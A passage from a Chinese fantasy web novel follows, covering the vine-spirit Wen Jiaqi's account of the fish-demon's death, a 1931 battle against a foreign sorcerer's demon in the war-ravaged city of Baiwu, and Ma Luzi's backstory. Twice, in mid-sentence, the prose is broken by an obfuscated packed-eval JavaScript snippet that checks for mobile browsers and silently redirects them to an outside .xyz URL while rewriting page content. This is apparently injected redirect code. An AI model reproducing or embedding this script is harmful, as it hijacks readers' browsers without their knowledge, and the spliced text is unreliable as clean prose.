孟想愣了一下,抬眼看他。他对人类所谓的计划和梦想并不熟悉,多年来,他习惯隐匿在人群,没有方向地随波而行。 “鱼妖的碎魂,让你虚无的灵台有了实相,你可以开始修炼了……”计九崖停顿了一下,斟酌着措辞,想让对方更容易理解。 “你可以像今天新来的桓彩衣那样,以明堂行走的身份,帮助妖怪融入人类社会;或者,自己外出去幻境历练……我相信聂小姐会同意的。” 主动承担明堂日常的工作,不仅是唐先生让计九崖应下的承诺,也是计九崖真心想替聂明月分担。 林珍的事让他耿耿于怀。如果他当初再投入多点关注,悲剧可能就不会发生。 所以,他希望能帮助眼前这个迷茫的年轻人,为他指明方向。某种意义上,这也是明堂人的责任。 - 当世的精怪要想获得修为的提升,几乎只有通过大妖殒落后形成的幻境,别无他法。 各个城市的明堂行走,只要有所成就,就可以得到来自明堂的修炼指引。 说起来,这还是唐先生的想法。 要维持世间妖与人类的平衡,仅靠聂明月一人是做不到的。 唐先生整理了聂明月多年除妖的详细记录,标注了百余处幻境的位置与特点,并与马鹿子、皮天禄共同设计了一套试炼方案——针对不同修为的妖怪与修士,匹配合适的幻境。 成功闯关者,修为会大幅提升,比闭关打坐百年更有效;而失败者,也只能听天由命,明堂不会干预因果。 这套机制,如同现代企业的人才培训体系,使明堂得以隐秘而强大地维系世间的平衡。 也因此,妖怪的踪迹从人类社会中彻底隐去,只留下乡野传闻与灵异故事,悄悄流传。 - 孟想沉默了许久,终于低声开口:“我不知道……但我想变强!” 他先看向聂明月,从她眼中读出了鼓励,旋即望向计九崖:“计九叔,你觉得我该从哪里开始?” “如果你愿意,我可以收你为徒。”计九崖是雨师家族最后的传承,掌握的计氏秘术种类繁多,一直在物色合适的年轻一代传承下去。 毕竟,他已经决定,今后聂明月在哪儿,他就在哪儿。但雨师一脉,不能断根。 孟想欣喜若狂,却不知如何表达。情急之下,他想到电视剧里的拜师情节,立刻要跪下磕头,却被计九崖拦住。 “雨师收徒有专门的仪式,不急。”计九崖笑道。 尤远志看着这一幕,忍不住想起了自己那位躲在山中喝酒吃肉的师父,不由笑出了声。 沉重的氛围终于有所缓解,大家都轻松多了。 - “计九,拜师礼需要准备的东西,你直接告诉孟夏,她会为弟弟安排。”她叮嘱。计九崖点头。 “孟想,这几天你都没怎么睡,今天早点回家吧。明天可去一号公馆找你师父,开始学习。”第一天上课,还是在独立空间比较方便。 “尤远志也是,早点回去。今天辛苦你了。”她冲他一笑,尤小草就满心喜悦,不好意思地揉了揉自己的脑袋。 “今晚我还有事情要办。”聂明月停下来,看向大家:“计九,你帮我把香香接回家。我会很晚才回来。” “小姐,你要去哪里?”计九崖却没想到她不与他们一起离开。 聂明月侧过身子,伸手指向马路对面的商业街。街口的小广场外有家新开的酒吧,LED灯牌上,两个深红色大字在夜色中格外醒目—— 绯藤。 - 开业第三天,闻佳期已经有了最喜欢的时刻。那是傍晚时分走到酒馆外,打开店门准备迎接客人的时候。 海风从门外涌进来,冲散了周末夜里残留之气,空气中带着凉爽的味道。 桌椅收拾得干干净净,柜子上的酒具闪闪发亮。冷藏酒架上有来自世界各地的美酒,整整齐齐陈列着。旁边留出空余的位置,等待日后客人的存酒。 红木吧台上摆着一盆植物,红色的藤茎上刚萌出新季青芽,为醉意迷乱的酒馆带来一丝清新。 晚上七点半,闻佳期叮嘱酒保,要留出唯一的包间,她的一位重要客人会今晚来访。 她在等待那位明堂主人的光临。 - 聂明月走进绯藤时,一眼就看到了坐在吧台前的女人。 她散着波浪卷发,深眼窝之下的琼鼻沿着丝绒红唇,勾勒出完美的侧脸轮廓。 酒馆内放着一首陌生的歌曲:“……我为火,亦为光……日月方明,化作迷藏……” 在女声轻轻吟唱的旋律中,她正接过酒保递来的一杯红酒,对着烛灯观色轻嗅。 大概是被酒香取悦到了,她悬于高脚椅上的高跟鞋尖不由微微翘起…… - 这是聂明月第一次见到绯藤的老板。但她知道,眼前这位神秘美丽的女人,叫闻佳期。 “聂小姐。”闻佳期也是第一次见到她,举着酒杯向她示意。 聂明月刚从海里出来,虽然衣服头发已经干了,但还带着一丝未经整理的狼狈。 闻佳期见到她这副样子,连忙放下酒杯迎了上来。 “聂小姐,我没有恶意。我先带你去后面的包间,那里有专属盥洗室。”她带路绕过吧台酒柜后方,推开了一扇朱色大门。 聂明月也不跟她客气,几分钟后收拾完毕出来时,闻佳期已经备好了红酒与小食,坐在沙发上等她。 - “说吧。”聂明月知道闻佳期有来历,却不知道她想要做什么,直接坐到了对面。 “早就听说聂小姐行事干脆,可突然这么一来,我也不知道该从何说起了。”闻佳期一边说着,一边将醒好的酒倒入酒杯。 “要不我们先来喝杯酒吧?故事与酒,此刻最相宜。”她将酒杯递给聂明月:“这是我的酒庄出产的赤霞珠干红,期待聂小姐的品鉴。” 聂明月接过酒杯,却又放回身边的小几上:“那你就先从林珍说起吧。” - 闻佳期并不知道鱼妖叫林珍。 那是几天前的月圆之夜,她做好开业倒计时的准备,从绯藤出来时已是凌晨。 她心情正好,打算吹吹海风,驱散微醺醉意。 沿着码头栈道,离开依旧喧闹的商业街,终于遇不到人了。 月光之下,她舒展着身后滋伸的藤蔓,恣意摇曳。 然后就听到了一声微不可察的痛苦呻吟。 绯藤天性敏感,极擅长感应生灵情绪。顺着声音寻去,她看到五十多米外的海中水泥台面上,一个满身伤痕的女孩奄奄一息,腹部已经被剥去了皮肤,没有挣扎的迹象。 在女孩的前方,有一面神秘古镜,正以月华为助力,吸取她的生命力。 “不巧,那面镜子我相当熟悉。西汉年间的瑞兽葡萄镜,不知道是在什么样的阵法加持下,有了妖邪之气。” 闻佳期见镜妖行凶,想要救人。 但月圆之夜正是她妖形现身的时候,此刻没有任何防御自保之力。她只好先化作藤蔓,藏于不远处的绿化带内。 几分钟后,有黑雾从镜面裂缝中渗出,化成一团虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507298|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,将女孩包裹起来,扔到了海里。 随后,一个戴着眼镜的男人从工地大型设备的阴影中走出来。闻佳期捏了一把冷汗,幸好没有贸然出手,对方留了后招。 男人跳到水泥台上,黑雾环绕到他周身。取走妖镜离开时,他谨慎地往路边绿化丛中看了一眼,没有发现异样,便匆匆离开。 - 又过了一会儿,闻佳期确认没有危险,便跳入海中潜至深处,找到了女孩的尸体。 她心疼女孩死状惨烈,唤出本体,输入灵力想要保住她的生魂,却发现无法触及到任何魂魄,便将女孩恢复成金色小鱼原身。 她初来海泽,知道城内卧虎藏龙,有很多大妖隐迹于人类中。 眼下不知道凶手是哪方势力,她也不想开业前就惹上仇家,权衡之后,将本命绯藤留在海底保护妖尸,自行离开。 - “我知道您将重回海泽,才提前几个月从西北来这里选址开店。本来就是想要见面的,没想到您刚回来就走了……” 闻佳期见聂明月不喝酒,又贴心地为她倒了一杯水。 “想必您已经知道,在海里指路的就是我了。”方才她的妖藤已经回归,聂明月一定会追踪上门。 “孟想的入梦又是怎么回事?”聂明月问。 - 闻佳期是贺兰山中一株深红色的藤蔓。 她懵懂行于沙漠戈壁之中,遇到一位修士悉心教导,才走上修炼的道路。 但那位修士,却因可预知未来的能力,被当地人误解为妖怪,最终将他残酷杀害。 他死前,将自己的幻境赠予藏在灵台的闻佳期,并在世间留下最后一句话—— “我死之后,将化为绯藤,为世人揭开所有秘密与真相!” 修士身下流出的鲜血中,有一条藤蔓生出,迅速抽出繁茂枝叶,最后开出红色的花朵来…… 神迹的出现震慑了所有人。从此,绯藤成了当地人心中代表着生机与希望、真相与清白的守护精灵。 - “孟想来的第一晚,喝了我的酒。我才知道他是妖怪。”闻佳期缓缓道。 那一晚,她在孟想的记忆里,看到了他的身份与来历,得知他有一个身为明堂行走的姐姐。 第二晚,孟想又来了。闻佳期想到了帮助鱼妖的办法,又给了他一杯特制的酒。 她跟随孟想回家,拿到了他的相机。又再次潜入海中,将鱼妖尸体放回岸上,拍下了那张照片。最后通过窥秘的能力,将画面置于孟想的梦境里…… “每逢月圆之夜,是我现形之时。当时我没有能力救鱼妖,只能采取迂回的方法,给你们留下暗示……” 她举起酒杯,虚敬聂明月,浅酌一口,表达了歉意。 - 聂明月听她讲完大致故事,终于将林珍之死的最后疑点破解。 她愿意相信闻佳期所讲的真相,不怀疑她的坦诚与遗憾。 这大概是绯藤容易取得信任的天性使然吧。 聂明月举起酒杯——她确实已经尽了最大的努力:“我替林珍,及代表明堂谢谢你。同时欢迎你来到海泽。” 她犹豫了一下,又问:“这杯酒,就是你给孟想的那种吗?” 她十分好奇,从没做过梦的她,如果喝了这杯酒,今晚会不会有梦来? “是的,妖怪特供。”闻佳期也将酒杯举起,与聂明月轻轻碰杯:“我给它起名为——忆往昔。” - 聂明月将杯中酒一饮而尽。 “聂小姐……”闻佳期来不及阻止,这酒窖藏千年,后劲很大。这样贸然饮下,也不知道传说中实力强大的聂小姐能不能适应。 聂明月双眼迷离地看向闻佳期,脸颊绯红,缓缓露出笑容:“……怎么了?” 闻佳期心中大叫不妙,完了,聂小姐连喝酒上头的速度都比寻常妖怪快。 - 就在这时,“砰”的一声,包间大门被猛地推开,一个身形高大的男人冲了进来,正好将摇摇欲坠的聂明月抱在了怀里。 关临渊满脸怒气地看向闻佳期:“你干了什么?” 闻佳期看着来势汹汹的陌生男人,愣了一下,反应过来后马上解释:“就……半杯酒……” 关临渊将聂明月拦腰抱起,转身离开。 闻佳期不知道自己又惹上什么人,只觉得这个男人修为深不可测,竟没有出手拦下他的勇气。 走到门口,关临渊停下来,冷冷说:“你好自为之,这是她第二次喝酒。” “上一次,她醉后推平了一座城。” 44. 爱的疑问 人间行走指南: 【相爱,对人类而言,更像一场关于自我的独白。】 - 爱情到底是什么呢? 曾经有段时间,聂明月总想问丽娘这个问题。 对于人类和世界的疑问,她大多能在唐槐那里得到答案。 可是爱情这件事,唐槐也解答不了。 - 1920—1940年间,是唐槐最忙的二十年。国内形势瞬息万变,海外大国之间征伐不断。他同时经营着几家公司与大型工厂,还要提前布局北港的山海阵,也要管理杂志社…… 还有最重要的一件事——寻找多年的计家后人,一直没有消息…… 回国这些年,他一刻也没停下来。 自二十年代中期起,唐槐在国内政商界有了很大名气:来自北港的唐先生,不仅财力雄厚,极有商业头脑,长得也是一表人才。多年来,他没有结婚,也从未有过花边新闻,是各大家族及势力眼中都想争取的黄金女婿。 这些年,陆续有合作伙伴提出联姻的想法,唐槐都拒绝了。别人做事业看的是往后十年,他却要考虑到百年之后。因为他的寿命有限,有生之年,他希望能为聂将军的毕生梦想多做一些事。 聂将军的愿望,也是他的愿望。 直到有人第二次上门提出联姻建议,问及他不结婚,是否是因为聂明月,唐槐才反应过来——在别人眼里,他们这对异姓兄妹并不是表面上的关系,早就被暗中议论了。 唐槐明确表示,妹妹的婚事,需先征求她的意见——这一位是上海本地的金融家,想要替自家儿子求娶聂明月。 唐槐不知道聂明月对婚姻之事的看法,也从不会代聂明月做任何决定。在一次打电话到北港家中时,提起了这件事。 聂明月只有一个反应:“妹妹?” 唐槐笑了。聂明月做了他28年的姐姐,现在依然是最初的模样,而他已经成了中年人。 比起结婚嫁人来,聂明月更在意自己成了唐槐的妹妹这件事。 也对,在唐槐眼里,世界上没有谁配得上明月姐姐。 谁也不配。 - 1928年春,聂明月与唐槐在京城聂府迎回了马鹿子一行人。十五个皮家子弟经历三年试炼,归来时仅剩六人。 皮天禄虽有遗憾,但妖天生就在战斗中成长,每个生灵的生存都是物竞天择的结果。令他欣慰的是,皮家在幻境中收获法宝秘技若干,晚辈们均已可堪大任。 “终于结束了!我明天就要回北港!”马鹿子倒好似没什么长进,方才进院子就叫嚷着要喝酒:“本仙人腹中酒虫,饿了三年了!”他的神神叨叨一如既往地随性发作,但没有人察觉,他眉眼之间隐藏着深深的不安。 陆靖鸣身上带着些新老伤痕,神情更加沉稳。他已不再是当年那个无助的陆家大公子了。 他看着眼前的兄长与明月阿姐,心中急切地想要得到他们的认可。 唐槐与他紧紧拥抱,热情欢迎义弟的回归。聂明月站在后面,依旧是冷清的模样。 陆靖鸣并不在意,聂明月天性便是如此,就是说话语速慢了些,表情冷淡了些而已。 这次归来,他有一个隐隐的奢望,想要找个适合的契机再提起。 - 这一天,聂明月还收到了两封来自远方的信。 丽娘在香港定居后,很快就活跃在当地的社交圈中。她向来是个热闹的性子,与富商太太们打交道更是拿手,从信中的字句中就能看出,她过得十分惬意自如。 更令人意外的是阿金的消息,她恋爱了!她与一个船员偶然相识,或许是缘分到了,两人迅速坠入了爱河。 阿金信中还有一张两人的合影,船员穿着英式制服,眉目轮廓极深,长相带着西洋人的血统。阿金在他旁边站着,被衬得娇俏可人。 聂明月看着照片上的阿金,第一次直观感受到,爱情可以彻底改变一个人。 比如向来胆小老实的阿金,如今也大方挽着男友的手,满脸洋溢着幸福,并想与好友分享此时的快乐。 她仅有的两位妖怪密友,先后向她描述着爱上一个人的感觉——试探、惦念、拉扯、热烈、缠绵…… 爱情的存在,让几百年道行的妖怪都动了心,心甘情愿被人类牵动着情绪。 爱情的存在,让恋人们时而喜悦,偶尔悲伤。 爱情是人类的神奇法术吧,聂明月觉得她找到了答案。 - 三年后的冬天,浓重的硝烟味挟着血腥气,被风从更远的北方吹到了北港。 马鹿子从郊区揪回来一只神情萎靡的黄鼠狼精。北港很多年没有妖怪作乱了。这只刚化形的黄鼠狼也不知道哪来的胆子,跑到村中冒充大仙装神弄鬼,害死了一个求药的村民。 他将那小妖审讯了一晚上,问出来一件骇人听闻的事情—— 距北港城五百公里外的白乌城沦陷后,城中出现一只恶鬼,专门吞噬亡魂怨气。白乌城及周边村镇的精怪野鬼们打不过它,只得奔走逃命。 黄鼠狼知道北港城中有大修士坐镇,不敢进城。它想着在周边落脚,至少没有性命之忧。 “恶鬼是凭空出现的,九月下旬的时候还是一个光头鬼,后来越来越大,现在都快成魔了!”黄鼠狼瑟瑟发抖,也不知道是马鹿子的神威让它害怕,还是说起恶鬼就吓得胆寒。 - 马鹿子把这件事告诉了聂明月:“聂小姐啊,我可只答应你守北港城三十年,眼看还有四年就事成啦!你要是想让我出门,也不是不可以……只要……” 说到这里,老道士的一双三角眼雪亮。聂明月很熟悉这个表情,人类管它叫贪心。 明堂关于培养人间行走的体系已有雏形,皮天禄负责西南地区,陆靖鸣回越西。马鹿子自己选了岭南,但他不愿意要普通幻境的试炼机会,想在聂明月的明堂里多待几天。 聂明月记得上任阴冥司的叮嘱,不打算允诺旁人进明堂修炼了。 她在皮天禄处学到了设计灵台结界的方法,将须弥山下空出一块来,以待三十年约定到期那天,让马鹿子入明堂修行一日。 - 聂明月曾从报纸上得知,九月中旬,白乌全境遭到外敌的炮火洗掠,惨死的百姓数量众多。海外媒体对此行径纷纷口诛笔伐,没掀起半点水花。 恶鬼的出现,会不会和那场杀戮有关? 她决定亲自去看看。 - 深夜的白乌城一片死寂,茫茫大地上覆盖着厚厚的雪。城外一具具无人认领的尸体堆叠在一起,死亡的气息在空中弥漫,压得人喘不过气来。 聂明月曾到过白乌城,那时还是繁华的商贸重镇。曾经规划有序的北方最大城市,如今却是满地残骸和恶臭。 这一切落在积雪之上,如大地生出了毒疮,到处鬼影幢幢。 侵略者占据了城市,把平民驱散至城外劳役。 疾病、寒冷与饥饿,加上流离失所的恐惧,让人们脸上只剩空洞的绝望。 - 聂明月撑着应龙伞,天空飘起了雪花。她慢慢穿行在一排破败棚户区外。 离开北港的海,灵台内的赤焰又燃了起来。她一边走,一边暗自运转内息,克制心中怒火。 走得越久,心中那股火越盛。若不是有应龙伞的压制,她可能要冲进城中杀人了。 - 一个抱着婴儿的妇人蜷缩在树下,身上单薄的破袄露出发黄结块的旧絮,她正喃喃唱着一首歌谣,哄孩子睡觉。 “窗外白,雪儿厚,地里盖着大棉被……” 孩子早已没了气息,妇人任凭肆虐的寒风大雪如冰针覆面,她依然表情温柔、声音舒缓地哼唱着。 聂明月脱下身上的厚披风,轻轻盖在妇人身上。 妇人身后就是一个破败的寺庙,正殿内有几个人围在一个火盆旁烤火。 他们嫌孩子哭闹不止,将母子赶出了门外。任凭妇人苦苦哀求,众人眼睁睁看着孩子断了气,却一脸麻木无动于衷。 身后即神佛,心却如修罗。 聂明月将伞收起,缓缓抬起了手…… - “聂小姐?”一道声音打断了聂明月涌动的杀机。 聂明月转身看向来人,黑夜中,她雪白的脸格外醒目,眼中透着陌生与疑问。 “七年前,京奉列车。”对方提醒。 哦,是他。可以让她受伤的那位,现任阴冥司大人,关临渊。 - 关临渊是来收魂的:一是白乌城内外的妖鬼亡灵,二是寺庙主持亡魂。 高僧法号觉音,深受百姓敬仰,在当地颇有声望。他在灾难发生时打开寺门收容流民,提供温饱之余还免费行医治病。 几个月前,他就站在此处阻止恶人进寺。几天后,他在保护百姓时被军方抓捕,当场被杀。 关临渊要带他的亡魂回冥池,希望以其功德,能判他个好轮回。 聂明月不想妨碍阴冥司公干,侧身让出了门口的路。关临渊朝她点了点头,施起结界,开始搜魂。 - 世界陷入一片寂静,火苗像凝固的红色冰凌,静立于破陶盆中。 关临渊抛出铁尺,尺中隐隐有灵气透出,升于半空缓缓转动,似在丈量与亡魂相隔的距离与方向…… 几息过后,关临渊脸上闪过一丝诧异之色,收回了法器。 “觉音亡魂不在此地,在城中。”他这话却是对聂明月说的。 他大概以为,她是来找觉音的吧。 - 她回头看了看正殿中的那几人,决定放他们一条生路。 阴冥司常说世间有因果。他们结下了恶因,自会尝到苦果。 “城中有魔。”她提醒关临渊。她并未见过传说中的魔,也不知道那是什么样的存在。 马鹿子在她出发前再三叮嘱:“我也好多年没见过魔啦。魔这种玩意儿,比妖更虚无难控,根本杀不死,只能收起来禁锢着。” 马鹿子难得语气慎重:“动手时千万别被趁虚而入,沾上了魔气。否则你越是强大,越容易生了心魔。” - 关临渊对此事早有准备,他语气中带着询问:“聂小姐,一起去吗?” 有人带路,她自然要去。 “走吧,关大人。” “注意安全,聂小姐。” 关临渊走在前面,两人快速向城中而去。 - 随着他们的身影消失,火焰晃动了一下,寒风呼啸声再次响起。寺中几人揣着手,用力缩着身体,仿佛这样就可以再暖和一点。 雪虽然停了,天却更冷了。 - 两人疾行于白乌城主街中,周遭一切正被陌生的力量腐蚀着。 这股气息令聂明月不适,一路上都皱着眉头。 关临渊提醒她:“对方不是我熟悉的魔物。到时我可能无暇顾及,聂小姐务必小心。” 聂明月没有应声,眼中闪过一道寒光。 电车道的尽头,一个高大的黑影正朝他们缓缓走来。聂明月站在后面,于黑暗中现出赤瞳。 那黑影高如两层楼,身穿一件破败腐烂的僧袍,头顶无发,皮肤脱落,背后立着一道黑色圆盘形法阵。每走向他们一步,便发出一声嘶哑的低吼。 “觉音。”聂明月出声。关临渊还看不清前方情况,却往左边移了半步,做出迎战准备。 他将聂明月护在了身后。 - 聂明月心中起了一丝异样,从来都是她主动出手,也从来都是她站在别人前面。 她没时间细想,对方已经出现在百米外,她暗自运转内息,越过关临渊,直奔魔物而去。 关临渊没想到明堂主人是霸道直接的风格,紧跟在她身后。 魔物察觉到危机,抬起酒桶般粗壮的胳膊,黑拳带着破空之力,朝聂明月正面挥出。 聂明月边跑边蓄力,雪白手掌如一把快刀侧立,凌空劈向黑拳,眨眼之间,巨大的拳头被她干脆利落地切落。 她没有停下步伐,绕于魔物身后,试图看清楚黑盘到底是什么。 断掌的魔物反手向背后掠去,眼看就要碰到聂明月,一把铁尺硬生生将它阻下,关临渊的及时出手,拦住了它的攻势。 - 黑盘阵生于魔物背后的一道血符,血符之上似有无数厉鬼,绵绵不绝的怨气涌出,致使如磨盘大小的法阵保持运转,为魔物提供黑暗之力。 聂明月没见过这种邪术,提气向后退去几米。关临渊捏起降魔诀,铁尺光芒大盛,瞬间笼罩在魔物周身,拖住了它吸收怨气的速度。 两人分明是第一次联手,却好像合作过很多次了,配合十分有度。 聂明月再次跃身朝上,先踩在它凸起的膝盖上,又灵巧地踏上了肩头。魔物大手刚至前肩,她已经绕其颈后,一手攻击魔物头顶,另一只手却伸向它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534003|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背后,试图揭下那枚诡异血符。 魔物发出一声巨大的嘶吼,转动着脑袋,腥臭气息从它口中喷薄而出,直冲聂明月脸面。 “屏息!”关临渊怕来不及,边喊边驭起地面上的积雪。聂明月落到地面时,正好眼前升起一道雪墙,端端将魔气完全隔绝开来。 - “杀!”聂明月示意关临渊,双手按住魔物粗壮的脚面,让它不得动弹。 眼看就要将魔物降伏,关临渊却不继续动手,他抓着她的手,一把将她拉起身来,随后就往魔物来时的电车道尽头跑去。 “我们先走!”他头也不回地说着,聂明月来不及反应,只得被他拉着跑。 - “那道符?”她怎么就莫名其妙地逃跑了? “像是邪术。我们必须找到操控它的施术人……”关临渊判断魔物来处必有蹊跷,幸好那东西身形巨大,速度却不快,他们还有时间。 “它是虚魂,打不死。”他说。他亲眼看见方才魔物转身的时候,新的拳头已经生出来了。 按她的风格,管它死不死,直接撕成碎片,纳入明堂关起来便是。她明堂内专门有一处关妖的洞穴,多年来都是这样处理的。 此时她倒生出几分好奇,想知道这位阴冥司大人还有什么招数。 阴冥司代代传承,应该有很多她没见识过的手段。 - 想完这些事,聂明月才察觉,关临渊还没放开她的手。 她第一次被人牵着,有点不适应,便加快脚力,趁与他并肩的时候,偷偷抽出了手。 关临渊用余光看聂明月的表情,暗暗想着,她一直都是这么冷淡吗? 他对这位深不可测的明堂主人也产生了好奇。 他当时情急之下来不及解释,只得直接拉着她跑。方才也有几秒钟的尴尬,幸好那只冰凉小手自己脱开了。 “把那东西抓了,背后的人就跑了。”他补了一句,仿佛想证明自己不是因为打不过才拉着她跑的。 “嗯。”那女子依然平静得很。 - 关临渊的手很热,聂明月掌心还留有他的温度。 眼前是电车枢纽站,夜色中有一处窗户还亮着灯。 关临渊一脚踹开了房门,一个奇怪打扮的男人惊慌地站了起来。 他大概五十来岁,长发束成了古怪的发髻,身上披着一袭黑色的道袍。 男人面前摆满了各种符咒与法器,房间中间有一个金色的祭台,上面流转着神秘气息。 聂明月上前扼住了男人的喉咙,随着她的力道加重,那人面色苍白,呼吸困难。豆大的冷汗眼看就要滴到聂明月的手上…… 关临渊一把拉住男人的衣领,将他拽倒在地。 “说吧,你是谁?”关大人以铁尺对着男人的脸,脚踩在他的衣袍之上,让他动弹不得。 “大胆!你们居然敢到我的地方来!”此人开口说话带着别扭的口音,两人对视一眼,居然是个异邦人。 “放屁!”关临渊大怒,脚下重重施力,碾着他的腿肉。 “白乌城什么时候成了你的地盘?” - 几番逼供之下,男人说出了全情。他是异邦鬼师,跟着军队到了白乌,见此间亡魂无数,就生了炼妖的恶念。 妖为“狭邪”,想要炼成,需以得道高僧之魂,吸食人间怨气,吞噬众多妖灵。 他物色到了当地备受尊重的觉音大师,设下陷阱让觉音丢了性命,将魂魄拘在祭坛内,每晚沿着电车道外出自行觅食。 区区几个月,胜过平常几十年的修炼。狭邪即将由魔魂之体成妖,一旦拥有了实体,它就是嗜血不败的大杀器。 - 鬼师说到此处,脸色有些得意。他自信眼前这对男女,并没有胆子要他的命。 他可是带队屠城的首领特聘来的法师,背后有强大的军队与国家支持。 他如果有什么意外,他们也没有好下场:“你们要是识相,我可以假装今晚的事没有发生,放过……” 语音未落,他的喉头一甜,不可置信地睁大了眼。 聂明月扔出桌上的一把桃木剑,扎穿了鬼师脖颈,剑身深深嵌于其中,鲜血顺着剑尖急速落向地面。 她出手太快,关临渊完全来不及阻止,再看向鬼师,已经死透了。 他叹了一口气。 觉音功德深厚,却被这么个异邦术士驱魂成魔。届时他需得好好衡算功过,希望觉音能有个好结果。 - 随着鬼师的死亡及祭坛的破坏,徘徊于电车道的狭邪失去了法阵指引,化作一团黑气,被关临渊纳入尺内。 天亮了。随着太阳的升起,白乌城的腐蚀气息渐消于晨光中。 两人并肩走向城外,路过觉音的寺庙时,大树下的那名妇人依然抱着孩儿,身上的厚披风却不知道去了哪里。 她闭着眼睛,和她的孩子冻死在1931年漫长的冬天里。 “你管吗?”她问。妇人和孩子死后将去向哪里? 关临渊摇头:“他们自有去处。” - 他转身望向远处的白乌城,在倾天覆地的鹅毛大雪之中,古老的城墙轮廓透出一线冷冽的光。 关临渊是来送聂明月出城的,他还要在白乌城待几天,收余下的妖魂。 “我也建议聂小姐,不要参与人间事。”他好意提醒。 聂明月随意出手杀死鬼师。若不是他在场收尾,会留下无穷后患。政方、军方、百姓……均会被牵连进来,到时又是一场灾难。 昨晚寺庙外,他就是看出了她有杀人之意,才会现身打断。 “你虽强大,却不代表人间规则。”他其实没有劝慰她的必要,他们非敌非友,只是见过两面的交情。 但这一夜的接触让他觉得,明堂聂明月,并不是传闻中说的那般杀伐冷血。 是的,他还曾目睹她,为那树下妇人披上冬衣。 “好。”她的嘴向来赶不上脑子。那便随口应下吧,省得阴冥司大人还要教她好好做妖。 - “聂小姐,合作愉快。”漫天飞雪里,关临渊伸出手。 “关大人,合作愉快。”聂明月撑着伞,与他轻轻握了一下手。 阴冥司大人从来不说再见。 没有人会想与阴冥司再次相见。 大雪覆盖了来时的路,两人一南一北,各自的身影在风雪中渐渐模糊。 45. 爱的谎言 人间行走指南: 【当人类相爱的时候,总忍不住想成为一个更值得爱的人。谎言是爱情中的本能。】 - 1935年的夏天,东北深山一隧道中,马鹿子正在来回徘徊。 这条未完工的铁路隧道,近日总有诡异事情发生:工人死亡、设备丢失、山体倒塌…… 殖民者掠夺土地和资源,破坏森林、开采矿产,妖怪赖以生存的自然环境消失,被迫离开栖息地,成为“流亡的妖怪”。 战争与压迫带来的巨大怨气,让妖怪们蠢蠢欲动,有的因此走上了魔修的歪路……这里就有几只妖作乱,才导致施工暂停,一时之间无法推进。 马鹿子捻着胡须叹气:“今天可是和聂明月三十年约定到期呀,唉,又要延后了……” 眼下战争频发,哪里都不太平,回南方的愿望,遥遥无期…… 还是处理完这几只妖,早点回北港城的大宅子里喝酒吧。 - 三十年前的今天,聂明月与马鹿子在北港码头携手灭了蜃妖。 “捉妖?”丽娘踩在蜃妖的碎壳上,一手掐腰,一手挥着鸡毛掸子诘问:“马鹿子,我认识你五百年了!你这点小花招能瞒得过我?”丽娘冷笑着,手里的鸡毛掸子重重一杵。 “最后一次机会。你要再不说实话,我就把你捆了沉海!” 马鹿子耷拉着眉眼。他当时还没有从灭妖的喜悦中缓过来,就被丽娘发现了端倪:“……我……在码头上布了个法阵,那蜃妖,是被阵吸引来的……” 香香本正在聂明月脚下玩耍,听到这句话,冲马鹿子龇牙咧嘴,发出一声威胁的嘶鸣。 马鹿子瑟缩着,说出了此次海妖作乱的真相。 - 马鹿子先前本在明州的山中修炼。某日起卦,发现北方即将有海啸和台风在九月发生,千里迢迢到了北港码头。 他想趁着台风,杀个深海中的大妖,来以此助力修为。反正到时候人心惶惶,没有人会往海里看…… 没想到刚来第一天就在酒铺中遇到了丽娘子与阿金姑娘。丽娘子整日盯着他,到时候捉妖难免束手束脚。 “老友重逢自是好事,就是这捉妖之事,为了丽娘子姐妹安危,还是不要参与得好……”于是他就动了些手脚,让蜃妖提前了两个月袭击码头…… 马鹿子嘴硬地狡辩着,却不敢抬头对上丽娘的眼睛。 - “咔嚓”一声,丽娘气不过,跺脚踩裂了脚下的壳:“我看你就是怕这海妖幻境不能独享,想毁了我的铺子,逼我离开吧!”她冲上来就要打人。 她的铺子,还有码头商街……几年打下来的基业,就此毁于一旦,没把马鹿子给生吞了,都算她善良。 聂明月却拦下了她,丽娘不解,发现马鹿子和香香神情也不对劲,顺着众人眼神看过去—— 就在她方才落脚的地方,一抹碧色透了出来……蜃妖幻境,即将开放。 - 那次幻境之后,丽娘与阿金近百年没长过的修为,终于突破。 聂明月拿到了蜃妖珧贝,马鹿子一无所获,神色失望。 “引蜃出海,理应问责。罚驻北港,三十年……”聂明月见马鹿子确实有本事,三千年蜃妖幻境都未能让他满意,想必他的修为已与蜃妖不是同一境界了。 “事成之后,表现好,可入明堂。”再给他许下承诺,让他好好办事,省得整天作妖。 也正是马鹿子出的主意,才有了流传百年的镇海寺传说。 - 马鹿子被困隧道内的同时,聂明月正在香港码头送别丽娘。 丽娘的丈夫何威廉,父亲是一名英国商人,母亲是广东富商之女。何威廉少年时被送到伦敦接受教育,后因父亲病故回到香港,接管家族生意。 何威廉第一次跟船到内地时,在北港与码头老板丽娘相爱。丽娘跟随他从北到南做生意,最后回到了香港家中。 何威廉在香港创立了一家华资银行,专门为华人商人提供贷款,帮助他们打破英资银行的垄断。1930年代经济危机的到来,家族银行面临倒闭风险。何威廉的伯父一家主张出售资产,而叔叔则希望坚持本地化路线。 何威廉虽是银行话事人,却因为与丽娘多年无子,过继了叔伯两家各一子,逐渐被年轻一代架空了势力。 